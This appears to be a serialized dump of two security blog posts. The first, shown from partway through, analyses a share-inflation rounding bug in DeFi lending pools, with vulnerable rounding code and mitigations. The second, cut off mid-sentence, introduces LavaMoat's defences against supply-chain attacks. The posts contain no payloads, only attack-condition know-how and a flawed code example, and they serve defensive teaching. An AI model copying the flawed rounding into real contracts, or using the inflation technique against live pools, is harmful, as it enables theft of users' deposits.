returns",{"type":23,"tag":134,"props":46015,"children":46016},{"style":179},[46017],{"type":28,"value":232},{"type":23,"tag":134,"props":46019,"children":46020},{"style":597},[46021],{"type":28,"value":45672},{"type":23,"tag":134,"props":46023,"children":46024},{"style":179},[46025],{"type":28,"value":329},{"type":23,"tag":134,"props":46027,"children":46028},{"class":136,"line":497},[46029],{"type":23,"tag":134,"props":46030,"children":46031},{"style":179},[46032],{"type":28,"value":10346},{"type":23,"tag":134,"props":46034,"children":46035},{"class":136,"line":518},[46036,46040,46045,46049],{"type":23,"tag":134,"props":46037,"children":46038},{"style":189},[46039],{"type":28,"value":16461},{"type":23,"tag":134,"props":46041,"children":46042},{"style":179},[46043],{"type":28,"value":46044}," _maxSharePrice ",{"type":23,"tag":134,"props":46046,"children":46047},{"style":168},[46048],{"type":28,"value":8035},{"type":23,"tag":134,"props":46050,"children":46051},{"style":151},[46052],{"type":28,"value":46053}," true\n",{"type":23,"tag":134,"props":46055,"children":46056},{"class":136,"line":527},[46057,46062,46067,46071],{"type":23,"tag":134,"props":46058,"children":46059},{"style":168},[46060],{"type":28,"value":46061},"        ?",{"type":23,"tag":134,"props":46063,"children":46064},{"style":179},[46065],{"type":28,"value":46066}," _product % _pseudo ",{"type":23,"tag":134,"props":46068,"children":46069},{"style":168},[46070],{"type":28,"value":8035},{"type":23,"tag":134,"props":46072,"children":46073},{"style":205},[46074],{"type":28,"value":23769},{"type":23,"tag":134,"props":46076,"children":46077},{"class":136,"line":780},[46078,46083,46088,46092],{"type":23,"tag":134,"props":46079,"children":46080},{"style":168},[46081],{"type":28,"value":46082},"            ?",{"type":23,"tag":134,"props":46084,"children":46085},{"style":179},[46086],{"type":28,"value":46087}," _product ",{"type":23,"tag":134,"props":46089,"children":46090},{"style":168},[46091],{"type":28,"value":1787},{"type":23,"tag":134,"props":46093,"children":46094},{"style":179},[46095],{"type":28,"value":46096}," _pseudo\n",{"type":23,"tag":134,"props":46098,"children":46099},{"class":136,"line":797},[46100,46105,46109,46113,46118,46122],{"type":23,"tag":134,"props":46101,"children":46102},{"style":168},[46103],{"type":28,"value":46104},"            :",{"type":23,"tag":134,"props":46106,"children":46107},{"style":179},[46108],{"type":28,"value":46087},{"type":23,"tag":134,"props":46110,"children":46111},{"style":168},[46112],{"type":28,"value":1787},{"type":23,"tag":134,"props":46114,"children":46115},{"style":179},[46116],{"type":28,"value":46117}," _pseudo ",{"type":23,"tag":134,"props":46119,"children":46120},{"style":168},[46121],{"type":28,"value":1586},{"type":23,"tag":134,"props":46123,"children":46124},{"style":205},[46125],{"type":28,"value":18919},{"type":23,"tag":134,"props":46127,"children":46128},{"class":136,"line":814},[46129,46134,46138,46142],{"type":23,"tag":134,"props":46130,"children":46131},{"style":168},[46132],{"type":28,"value":46133},"        :",{"type":23,"tag":134,"props":46135,"children":46136},{"style":179},[46137],{"type":28,"value":46087},{"type":23,"tag":134,"props":46139,"children":46140},{"style":168},[46141],{"type":28,"value":1787},{"type":23,"tag":134,"props":46143,"children":46144},{"style":179},[46145],{"type":28,"value":46146}," _pseudo;\n",{"type":23,"tag":134,"props":46148,"children":46149},{"class":136,"line":827},[46150],{"type":23,"tag":134,"props":46151,"children":46152},{"style":179},[46153],{"type":28,"value":1098},{"type":23,"tag":24,"props":46155,"children":46156},{},[46157,46162],{"type":23,"tag":55,"props":46158,"children":46159},{},[46160],{"type":28,"value":46161},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":46163},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":46165,"children":46166},{},[46167],{"type":28,"value":46168},"This is a really tricky invariant to reason about!",{"type":23,"tag":61,"props":46170,"children":46172},{"id":46171},"root-cause",[46173],{"type":28,"value":46174},"Root Cause",{"type":23,"tag":24,"props":46176,"children":46177},{},[46178],{"type":28,"value":46179},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":46181,"children":46182},{},[46183],{"type":28,"value":46184},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":87,"props":46186,"children":46188},{"className":1680,"code":46187,"language":1679,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[46189],{"type":23,"tag":92,"props":46190,"children":46191},{"__ignoreMap":7},[46192],{"type":23,"tag":134,"props":46193,"children":46194},{"class":136,"line":137},[46195,46200,46204,46209,46213],{"type":23,"tag":134,"props":46196,"children":46197},{"style":179},[46198],{"type":28,"value":46199},"totalDepositShares ",{"type":23,"tag":134,"props":46201,"children":46202},{"style":168},[46203],{"type":28,"value":1777},{"type":23,"tag":134,"props":46205,"children":46206},{"style":179},[46207],{"type":28,"value":46208}," _amount ",{"type":23,"tag":134,"props":46210,"children":46211},{"style":168},[46212],{"type":28,"value":1787},{"type":23,"tag":134,"props":46214,"children":46215},{"style":179},[46216],{"type":28,"value":46217}," pseudoTotalPool\n",{"type":23,"tag":24,"props":46219,"children":46220},{},[46221],{"type":28,"value":46222},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":46224,"children":46225},{},[46226,46228,46232],{"type":28,"value":46227},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":55,"props":46229,"children":46230},{},[46231],{"type":28,"value":19394},{"type":28,"value":46233}," integer division?",{"type":23,"tag":61,"props":46235,"children":46237},{"id":46236},"mitigations",[46238],{"type":28,"value":46239},"Mitigations",{"type":23,"tag":24,"props":46241,"children":46242},{},[46243],{"type":28,"value":46244},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":46246,"children":46247},{},[46248,46250,46257],{"type":28,"value":46249},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":31,"props":46251,"children":46254},{"href":46252,"rel":46253},"https://twitter.com/danielvf/status/1746306320553152615",[35],[46255],{"type":28,"value":46256},"@danielvf notes",{"type":28,"value":46258},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":87,"props":46260,"children":46262},{"className":1680,"code":46261,"language":1679,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[46263],{"type":23,"tag":92,"props":46264,"children":46265},{"__ignoreMap":7},[46266,46290,46337,46371],{"type":23,"tag":134,"props":46267,"children":46268},{"class":136,"line":137},[46269,46273,46278,46282,46286],{"type":23,"tag":134,"props":46270,"children":46271},{"style":189},[46272],{"type":28,"value":15049},{"type":23,"tag":134,"props":46274,"children":46275},{"style":179},[46276],{"type":28,"value":46277}," (_totalSupply ",{"type":23,"tag":134,"props":46279,"children":46280},{"style":168},[46281],{"type":28,"value":8035},{"type":23,"tag":134,"props":46283,"children":46284},{"style":205},[46285],{"type":28,"value":208},{"type":23,"tag":134,"props":46287,"children":46288},{"style":179},[46289],{"type":28,"value":14272},{"type":23,"tag":134,"props":46291,"children":46292},{"class":136,"line":147},[46293,46298,46302,46307,46312,46317,46322,46327,46332],{"type":23,"tag":134,"props":46294,"children":46295},{"style":179},[46296],{"type":28,"value":46297},"    liquidity ",{"type":23,"tag":134,"props":46299,"children":46300},{"style":168},[46301],{"type":28,"value":257},{"type":23,"tag":134,"props":46303,"children":46304},{"style":179},[46305],{"type":28,"value":46306}," Math.",{"type":23,"tag":134,"props":46308,"children":46309},{"style":264},[46310],{"type":28,"value":46311},"sqrt",{"type":23,"tag":134,"props":46313,"children":46314},{"style":179},[46315],{"type":28,"value":46316},"(amount0.",{"type":23,"tag":134,"props":46318,"children":46319},{"style":264},[46320],{"type":28,"value":46321},"mul",{"type":23,"tag":134,"props":46323,"children":46324},{"style":179},[46325],{"type":28,"value":46326},"(amount1)).",{"type":23,"tag":134,"props":46328,"children":46329},{"style":264},[46330],{"type":28,"value":46331},"sub",{"type":23,"tag":134,"props":46333,"children":46334},{"style":179},[46335],{"type":28,"value":46336},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":134,"props":46338,"children":46339},{"class":136,"line":185},[46340,46345,46349,46353,46357,46361,46366],{"type":23,"tag":134,"props":46341,"children":46342},{"style":264},[46343],{"type":28,"value":46344},"   _mint",{"type":23,"tag":134,"props":46346,"children":46347},{"style":179},[46348],{"type":28,"value":272},{"type":23,"tag":134,"props":46350,"children":46351},{"style":597},[46352],{"type":28,"value":32136},{"type":23,"tag":134,"props":46354,"children":46355},{"style":179},[46356],{"type":28,"value":272},{"type":23,"tag":134,"props":46358,"children":46359},{"style":205},[46360],{"type":28,"value":1224},{"type":23,"tag":134,"props":46362,"children":46363},{"style":179},[46364],{"type":28,"value":46365},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":134,"props":46367,"children":46368},{"style":141},[46369],{"type":28,"value":46370},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":134,"props":46372,"children":46373},{"class":136,"line":221},[46374,46379,46383],{"type":23,"tag":134,"props":46375,"children":46376},{"style":179},[46377],{"type":28,"value":46378},"} ",{"type":23,"tag":134,"props":46380,"children":46381},{"style":189},[46382],{"type":28,"value":490},{"type":23,"tag":134,"props":46384,"children":46385},{"style":179},[46386],{"type":28,"value":463},{"type":23,"tag":24,"props":46388,"children":46389},{},[46390,46392,46399],{"type":28,"value":46391},"Alternatively, ",{"type":23,"tag":31,"props":46393,"children":46396},{"href":46394,"rel":46395},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[35],[46397],{"type":28,"value":46398},"storing the conversion rate separately",{"type":28,"value":46400}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":87,"props":46402,"children":46404},{"className":1680,"code":46403,"language":1679,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[46405],{"type":23,"tag":92,"props":46406,"children":46407},{"__ignoreMap":7},[46408,46443],{"type":23,"tag":134,"props":46409,"children":46410},{"class":136,"line":137},[46411,46416,46420,46425,46429,46434,46438],{"type":23,"tag":134,"props":46412,"children":46413},{"style":179},[46414],{"type":28,"value":46415},"accrualIndices.borrowed ",{"type":23,"tag":134,"props":46417,"children":46418},{"style":168},[46419],{"type":28,"value":257},{"type":23,"tag":134,"props":46421,"children":46422},{"style":179},[46423],{"type":28,"value":46424}," accrualIndices.borrowed ",{"type":23,"tag":134,"props":46426,"children":46427},{"style":168},[46428],{"type":28,"value":1777},{"type":23,"tag":134,"props":46430,"children":46431},{"style":179},[46432],{"type":28,"value":46433}," borrowInterestFactor ",{"type":23,"tag":134,"props":46435,"children":46436},{"style":168},[46437],{"type":28,"value":1787},{"type":23,"tag":134,"props":46439,"children":46440},{"style":179},[46441],{"type":28,"value":46442}," precision;\n",{"type":23,"tag":134,"props":46444,"children":46445},{"class":136,"line":147},[46446,46451,46455,46460,46464,46469,46473],{"type":23,"tag":134,"props":46447,"children":46448},{"style":179},[46449],{"type":28,"value":46450},"accrualIndices.deposited ",{"type":23,"tag":134,"props":46452,"children":46453},{"style":168},[46454],{"type":28,"value":257},{"type":23,"tag":134,"props":46456,"children":46457},{"style":179},[46458],{"type":28,"value":46459}," accrualIndices.deposited ",{"type":23,"tag":134,"props":46461,"children":46462},{"style":168},[46463],{"type":28,"value":1777},{"type":23,"tag":134,"props":46465,"children":46466},{"style":179},[46467],{"type":28,"value":46468}," depositInterestFactor ",{"type":23,"tag":134,"props":46470,"children":46471},{"style":168},[46472],{"type":28,"value":1787},{"type":23,"tag":134,"props":46474,"children":46475},{"style":179},[46476],{"type":28,"value":46442},{"type":23,"tag":24,"props":46478,"children":46479},{},[46480],{"type":28,"value":46481},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":46483,"children":46484},{},[46485,46487,46492],{"type":28,"value":46486},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":55,"props":46488,"children":46489},{},[46490],{"type":28,"value":46491},"apply the state changes and check the invariant",{"type":28,"value":720},{"type":23,"tag":24,"props":46494,"children":46495},{},[46496],{"type":28,"value":46497},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":46499,"children":46500},{},[46501],{"type":28,"value":46502},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":61,"props":46504,"children":46505},{"id":28425},[46506],{"type":28,"value":18423},{"type":23,"tag":24,"props":46508,"children":46509},{},[46510],{"type":28,"value":46511},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":46513,"children":46514},{},[46515],{"type":28,"value":46516},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":2575,"props":46518,"children":46519},{},[46520],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":46522},[46523,46524,46525,46529,46530,46531],{"id":28508,"depth":147,"text":28511},{"id":45445,"depth":147,"text":45448},{"id":45564,"depth":147,"text":45567,"children":46526},[46527,46528],{"id":45575,"depth":185,"text":45578},{"id":45613,"depth":185,"text":45616},{"id":46171,"depth":147,"text":46174},{"id":46236,"depth":147,"text":46239},{"id":28425,"depth":147,"text":18423},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":46536,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46537,"description":46538,"author":46539,"image":46540,"date":46542,"isFeatured":15,"onBlogPage":15,"body":46543,"_type":2586,"_id":50023,"_source":2588,"_file":50024,"_stem":50025,"_extension":2591},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[30696,30695],{"src":46541},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":46544,"toc":50002},[46545,46549,46570,46575,46579,46584,46623,46629,46644,46662,46667,46672,46677,46690,46997,47023,47036,47041,47046,47060,47065,47078,47092,47323,47344,47379,47385,47390,47395,47609,47630,47636,47648,47738,47760,47796,47804,47822,48079,48105,48111,48125,48323,48342,48749,48762,48768,48787,48880,48885,48891,48904,48917,49003,49009,49021,49106,49118,49131,49137,49142,49156,49483,49488,49493,49499,49525,49580,49600,49653,49659,49664,49683,49694,49888,49894,49917,49923,49928,49941,49946,49951,49955,49960,49968,49998],{"type":23,"tag":61,"props":46546,"children":46547},{"id":18432},[46548],{"type":28,"value":18435},{"type":23,"tag":24,"props":46550,"children":46551},{},[46552,46559,46561,46568],{"type":23,"tag":31,"props":46553,"children":46556},{"href":46554,"rel":46555},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[35],[46557],{"type":28,"value":46558},"Supply chain",{"type":28,"value":46560}," attacks are becoming ",{"type":23,"tag":31,"props":46562,"children":46565},{"href":46563,"rel":46564},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[35],[46566],{"type":28,"value":46567},"increasingly popular in Web3",{"type":28,"value":46569},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":46571,"children":46572},{},[46573],{"type":28,"value":46574},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":9072,"props":46576,"children":46577},{"id":28508},[46578],{"type":28,"value":28511},{"type":23,"tag":24,"props":46580,"children":46581},{},[46582],{"type":28,"value":46583},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":4890,"props":46585,"children":46586},{},[46587,46599,46611],{"type":23,"tag":4894,"props":46588,"children":46589},{},[46590,46597],{"type":23,"tag":31,"props":46591,"children":46594},{"href":46592,"rel":46593},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[35],[46595],{"type":28,"value":46596},"Lavamoat Browserify",{"type":28,"value":46598}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":4894,"props":46600,"children":46601},{},[46602,46609],{"type":23,"tag":31,"props":46603,"children":46606},{"href":46604,"rel":46605},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[35],[46607],{"type":28,"value":46608},"NodeJS Lavamoat",{"type":28,"value":46610}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":4894,"props":46612,"children":46613},{},[46614,46621],{"type":23,"tag":31,"props":46615,"children":46618},{"href":46616,"rel":46617},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[35],[46619],{"type":28,"value":46620},"Lavamoat allow-scripts",{"type":28,"value":46622}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":9072,"props":46624,"children":46626},{"id":46625},"lavamoats-security-features",[46627],{"type":28,"value":46628},"Lavamoat's Security Features",{"type":23,"tag":24,"props":46630,"children":46631},{},[46632,46634,46642],{"type":28,"value":46633},"The three most important features of Lavamoat",{"type":23,"tag":14943,"props":46635,"children":46636},{},[46637],{"type":23,"tag":31,"props":46638,"children":46640},{"href":29117,"ariaDescribedBy":46639,"dataFootnoteRef":7,"id":29119},[14950],[46641],{"type":28,"value":1214},{"type":28,"value":46643}," are:",{"type":23,"tag":16158,"props":46645,"children":46646},{},[46647,46652,46657],{"type":23,"tag":4894,"props":46648,"children":46649},{},[46650],{"type":28,"value":46651},"Policy Files",{"type":23,"tag":4894,"props":46653,"children":46654},{},[46655],{"type":28,"value":46656},"NPM Anti Hijacking",{"type":23,"tag":4894,"props":46658,"children":46659},{},[46660],{"type":28,"value":46661},"Scuttling",{"type":23,"tag":24,"props":46663,"children":46664},{},[46665],{"type":28,"value":46666},"Let's go over them one by one.",{"type":23,"tag":18368,"props":46668,"children":46670},{"id":46669},"policy-files",[46671],{"type":28,"value":46651},{"type":23,"tag":24,"props":46673,"children":46674},{},[46675],{"type":28,"value":46676},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":46678,"children":46679},{},[46680,46682,46689],{"type":28,"value":46681},"For example, take the ",{"type":23,"tag":31,"props":46683,"children":46686},{"href":46684,"rel":46685},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[35],[46687],{"type":28,"value":46688},"Metamask Snap policy file",{"type":28,"value":1697},{"type":23,"tag":87,"props":46691,"children":46693},{"className":30858,"code":46692,"language":30860,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[46694],{"type":23,"tag":92,"props":46695,"children":46696},{"__ignoreMap":7},[46697,46709,46724,46744,46763,46783,46803,46823,46843,46863,46884,46904,46923,46939,46946,46961,46981],{"type":23,"tag":134,"props":46698,"children":46699},{"class":136,"line":137},[46700,46705],{"type":23,"tag":134,"props":46701,"children":46702},{"style":1461},[46703],{"type":28,"value":46704},"   \"@metamask/providers\"",{"type":23,"tag":134,"props":46706,"children":46707},{"style":179},[46708],{"type":28,"value":36520},{"type":23,"tag":134,"props":46710,"children":46711},{"class":136,"line":147},[46712,46716,46720],{"type":23,"tag":134,"props":46713,"children":46714},{"style":1461},[46715],{"type":28,"value":36528},{"type":23,"tag":134,"props":46717,"children":46718},{"style":162},[46719],{"type":28,"value":1697},{"type":23,"tag":134,"props":46721,"children":46722},{"style":179},[46723],{"type":28,"value":463},{"type":23,"tag":134,"props":46725,"children":46726},{"class":136,"line":185},[46727,46732,46736,46740],{"type":23,"tag":134,"props":46728,"children":46729},{"style":1461},[46730],{"type":28,"value":46731},"        \"Event\"",{"type":23,"tag":134,"props":46733,"children":46734},{"style":162},[46735],{"type":28,"value":1697},{"type":23,"tag":134,"props":46737,"children":46738},{"style":151},[46739],{"type":28,"value":11936},{"type":23,"tag":134,"props":46741,"children":46742},{"style":179},[46743],{"type":28,"value":687},{"type":23,"tag":134,"props":46745,"children":46746},{"class":136,"line":221},[46747,46751,46755,46759],{"type":23,"tag":134,"props":46748,"children":46749},{"style":1461},[46750],{"type":28,"value":36580},{"type":23,"tag":134,"props":46752,"children":46753},{"style":162},[46754],{"type":28,"value":1697},{"type":23,"tag":134,"props":46756,"children":46757},{"style":151},[46758],{"type":28,"value":11936},{"type":23,"tag":134,"props":46760,"children":46761},{"style":179},[46762],{"type":28,"value":687},{"type":23,"tag":134,"props":46764,"children":46765},{"class":136,"line":332},[46766,46771,46775,46779],{"type":23,"tag":134,"props":46767,"children":46768},{"style":1461},[46769],{"type":28,"value":46770},"        \"chrome.runtime.connect\"",{"type":23,"tag":134,"props":46772,"children":46773},{"style":162},[46774],{"type":28,"value":1697},{"type":23,"tag":134,"props":46776,"children":46777},{"style":151},[46778],{"type":28,"value":11936},{"type":23,"tag":134,"props":46780,"children":46781},{"style":179},[46782],{"type":28,"value":687},{"type":23,"tag":134,"props":46784,"children":46785},{"class":136,"line":438},[46786,46791,46795,46799],{"type":23,"tag":134,"props":46787,"children":46788},{"style":1461},[46789],{"type":28,"value":46790},"        \"console\"",{"type":23,"tag":134,"props":46792,"children":46793},{"style":162},[46794],{"type":28,"value":1697},{"type":23,"tag":134,"props":46796,"children":46797},{"style":151},[46798],{"type":28,"value":11936},{"type":23,"tag":134,"props":46800,"children":46801},{"style":179},[46802],{"type":28,"value":687},{"type":23,"tag":134,"props":46804,"children":46805},{"class":136,"line":466},[46806,46811,46815,46819],{"type":23,"tag":134,"props":46807,"children":46808},{"style":1461},[46809],{"type":28,"value":46810},"        \"dispatchEvent\"",{"type":23,"tag":134,"props":46812,"children":46813},{"style":162},[46814],{"type":28,"value":1697},{"type":23,"tag":134,"props":46816,"children":46817},{"style":151},[46818],{"type":28,"value":11936},{"type":23,"tag":134,"props":46820,"children":46821},{"style":179},[46822],{"type":28,"value":687},{"type":23,"tag":134,"props":46824,"children":46825},{"class":136,"line":479},[46826,46831,46835,46839],{"type":23,"tag":134,"props":46827,"children":46828},{"style":1461},[46829],{"type":28,"value":46830},"        \"document.createElement\"",{"type":23,"tag":134,"props":46832,"children":46833},{"style":162},[46834],{"type":28,"value":1697},{"type":23,"tag":134,"props":46836,"children":46837},{"style":151},[46838],{"type":28,"value":11936},{"type":23,"tag":134,"props":46840,"children":46841},{"style":179},[46842],{"type":28,"value":687},{"type":23,"tag":134,"props":46844,"children":46845},{"class":136,"line":497},[46846,46851,46855,46859],{"type":23,"tag":134,"props":46847,"children":46848},{"style":1461},[46849],{"type":28,"value":46850},"        \"document.readyState\"",{"type":23,"tag":134,"props":46852,"children":46853},{"style":162},[46854],{"type":28,"value":1697},{"type":23,"tag":134,"props":46856,"children":46857},{"style":151},[46858],{"type":28,"value":11936},{"type":23,"tag":134,"props":46860,"children":46861},{"style":179},[46862],{"type":28,"value":687},{"type":23,"tag":134,"props":46864,"children":46865},{"class":136,"line":518},[46866,46871,46875,46880],{"type":23,"tag":134,"props":46867,"children":46868},{"style":1461},[46869],{"type":28,"value":46870},"        \"ethereum\"",{"type":23,"tag":134,"props":46872,"children":46873},{"style":162},[46874],{"type":28,"value":1697},{"type":23,"tag":134,"props":46876,"children":46877},{"style":1461},[46878],{"type":28,"value":46879}," \"write\"",{"type":23,"tag":134,"props":46881,"children":46882},{"style":179},[46883],{"type":28,"value":687},{"type":23,"tag":134,"props":46885,"children":46886},{"class":136,"line":527},[46887,46892,46896,46900],{"type":23,"tag":134,"props":46888,"children":46889},{"style":1461},[46890],{"type":28,"value":46891},"        \"location.hostname\"",{"type":23,"tag":134,"props":46893,"children":46894},{"style":162},[46895],{"type":28,"value":1697},{"type":23,"tag":134,"props":46897,"children":46898},{"style":151},[46899],{"type":28,"value":11936},{"type":23,"tag":134,"props":46901,"children":46902},{"style":179},[46903],{"type":28,"value":687},{"type":23,"tag":134,"props":46905,"children":46906},{"class":136,"line":780},[46907,46911,46915,46919],{"type":23,"tag":134,"props":46908,"children":46909},{"style":1461},[46910],{"type":28,"value":36680},{"type":23,"tag":134,"props":46912,"children":46913},{"style":162},[46914],{"type":28,"value":1697},{"type":23,"tag":134,"props":46916,"children":46917},{"style":151},[46918],{"type":28,"value":11936},{"type":23,"tag":134,"props":46920,"children":46921},{"style":179},[46922],{"type":28,"value":687},{"type":23,"tag":134,"props":46924,"children":46925},{"class":136,"line":797},[46926,46931,46935],{"type":23,"tag":134,"props":46927,"children":46928},{"style":1461},[46929],{"type":28,"value":46930},"        \"web3\"",{"type":23,"tag":134,"props":46932,"children":46933},{"style":162},[46934],{"type":28,"value":1697},{"type":23,"tag":134,"props":46936,"children":46937},{"style":151},[46938],{"type":28,"value":46053},{"type":23,"tag":134,"props":46940,"children":46941},{"class":136,"line":814},[46942],{"type":23,"tag":134,"props":46943,"children":46944},{"style":179},[46945],{"type":28,"value":36697},{"type":23,"tag":134,"props":46947,"children":46948},{"class":136,"line":827},[46949,46953,46957],{"type":23,"tag":134,"props":46950,"children":46951},{"style":1461},[46952],{"type":28,"value":36705},{"type":23,"tag":134,"props":46954,"children":46955},{"style":162},[46956],{"type":28,"value":1697},{"type":23,"tag":134,"props":46958,"children":46959},{"style":179},[46960],{"type":28,"value":463},{"type":23,"tag":134,"props":46962,"children":46963},{"class":136,"line":836},[46964,46969,46973,46977],{"type":23,"tag":134,"props":46965,"children":46966},{"style":1461},[46967],{"type":28,"value":46968},"        \"@metamask/object-multiplex\"",{"type":23,"tag":134,"props":46970,"children":46971},{"style":162},[46972],{"type":28,"value":1697},{"type":23,"tag":134,"props":46974,"children":46975},{"style":151},[46976],{"type":28,"value":11936},{"type":23,"tag":134,"props":46978,"children":46979},{"style":179},[46980],{"type":28,"value":687},{"type":23,"tag":134,"props":46982,"children":46983},{"class":136,"line":859},[46984,46989,46993],{"type":23,"tag":134,"props":46985,"children":46986},{"style":1461},[46987],{"type":28,"value":46988},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":134,"props":46990,"children":46991},{"style":162},[46992],{"type":28,"value":1697},{"type":23,"tag":134,"props":46994,"children":46995},{"style":151},[46996],{"type":28,"value":46053},{"type":23,"tag":24,"props":46998,"children":46999},{},[47000,47001,47006,47008,47013,47015,47021],{"type":28,"value":16084},{"type":23,"tag":92,"props":47002,"children":47004},{"className":47003},[],[47005],{"type":28,"value":36770},{"type":28,"value":47007}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":92,"props":47009,"children":47011},{"className":47010},[],[47012],{"type":28,"value":36778},{"type":28,"value":47014}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":92,"props":47016,"children":47018},{"className":47017},[],[47019],{"type":28,"value":47020},"@metamask/providers",{"type":28,"value":47022}," interacts with other packages.",{"type":23,"tag":24,"props":47024,"children":47025},{},[47026,47028,47034],{"type":28,"value":47027},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":92,"props":47029,"children":47031},{"className":47030},[],[47032],{"type":28,"value":47033},"lavapack",{"type":28,"value":47035},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":18368,"props":47037,"children":47039},{"id":47038},"npm-anti-hijacking",[47040],{"type":28,"value":46656},{"type":23,"tag":24,"props":47042,"children":47043},{},[47044],{"type":28,"value":47045},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":24,"props":47047,"children":47048},{},[47049,47051,47058],{"type":28,"value":47050},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":31,"props":47052,"children":47055},{"href":47053,"rel":47054},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[35],[47056],{"type":28,"value":47057},"walking the modules",{"type":28,"value":47059}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":18368,"props":47061,"children":47063},{"id":47062},"scuttling",[47064],{"type":28,"value":46661},{"type":23,"tag":24,"props":47066,"children":47067},{},[47068,47070,47076],{"type":28,"value":47069},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real 